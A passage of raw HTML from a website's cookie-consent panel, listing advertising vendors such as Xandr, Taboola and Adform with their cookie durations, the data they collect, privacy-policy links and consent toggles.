Privacy policy" tabindex="0" data-policy-link="https://triplelift.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Triple Lift, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="28"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-28"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Triple Lift, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="28" id="fc-preference-slider-gvl-vendor-28" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Xandr, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="32" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Xandr, Inc., View details" tabindex="0" data-vendor-id="32" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="32" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Xandr, Inc., Privacy policy" tabindex="0" data-policy-link="https://about.ads.microsoft.com/en-us/solutions/xandr/platform-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Xandr, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="32"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-32"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Xandr, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="32" id="fc-preference-slider-gvl-vendor-32" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>NEORY GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="34" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="NEORY GmbH, View details" tabindex="0" data-vendor-id="34" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="NEORY GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.neory.com/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, NEORY GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="34"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Nexxen Group LLC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="36" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Nexxen Group LLC, View details" tabindex="0" data-vendor-id="36" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="36" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Nexxen Group LLC, Privacy policy" tabindex="0" data-policy-link="https://unruly.co/legal/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Nexxen Group LLC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="36"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-36"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Nexxen Group LLC" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="36" id="fc-preference-slider-gvl-vendor-36" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>NEURAL.ONE</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="37" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="NEURAL.ONE, View details" tabindex="0" data-vendor-id="37" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="NEURAL.ONE, Privacy policy" tabindex="0" data-policy-link="https://neural.one/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, NEURAL.ONE" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="37"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>ADITION (Virtual Minds GmbH)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="39" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="ADITION (Virtual Minds GmbH), View details" tabindex="0" data-vendor-id="39" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="39" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="ADITION (Virtual Minds GmbH), Privacy policy" tabindex="0" data-policy-link="https://www.adition.com/en/privacy-platform" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, ADITION (Virtual Minds GmbH)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="39"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Active Agent (Virtual Minds GmbH)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="40" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Active Agent (Virtual Minds GmbH), View details" tabindex="0" data-vendor-id="40" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="40" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Active Agent (Virtual Minds GmbH), Privacy policy" tabindex="0" data-policy-link="https://www.adition.com/en/privacy-platform" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Active Agent (Virtual Minds GmbH)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="40"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Taboola Europe Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="42" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Taboola Europe Limited, View details" tabindex="0" data-vendor-id="42" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="42" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Taboola Europe Limited, Privacy policy" tabindex="0" data-policy-link="https://www.taboola.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Taboola Europe Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="42"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Equativ</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="45" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Equativ, View details" tabindex="0" data-vendor-id="45" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="45" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Equativ, Privacy policy" tabindex="0" data-policy-link="https://equativ.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Equativ" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="45"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adform A/S</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 3650 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="50" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adform A/S, View details" tabindex="0" data-vendor-id="50" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="50" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adform A/S, Privacy policy" tabindex="0" data-policy-link="https://site.adform.com/privacy-center/platform-privacy/product-and-services-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adform A/S" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="50"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-50"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Adform A/S" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="50" id="fc-preference-slider-gvl-vendor-50" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Magnite, Inc. </h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="52" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Magnite, Inc. , View details" tabindex="0" data-vendor-id="52" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="52" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Magnite, Inc. , Privacy policy" tabindex="0" data-policy-link="https://www.magnite.com/legal/advertising-technology-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Magnite, Inc. " aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="52"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-52"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Magnite, Inc. " aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="52" id="fc-preference-slider-gvl-vendor-52" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>RATEGAIN ADARA INC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="57" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="RATEGAIN ADARA INC, View details" tabindex="0" data-vendor-id="57" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="57" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="RATEGAIN ADARA INC, Privacy policy" tabindex="0" data-policy-link="https://adara.com/privacy-promise/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, RATEGAIN ADARA INC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="57"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Sift Media, Inc</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Non-precise location data, Precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="59" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Sift Media, Inc, View details" tabindex="0" data-vendor-id="59" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Sift Media, Inc, Privacy policy" tabindex="0" data-policy-link="https://www.sift.co/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Sift Media, Inc" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="59"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Rakuten Marketing LLC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="60" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Rakuten Marketing LLC, View details" tabindex="0" data-vendor-id="60" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Rakuten Marketing LLC, Privacy policy" tabindex="0" data-policy-link="https://rakutenadvertising.com/legal-notices/services-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Rakuten Marketing LLC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="60"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-60"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 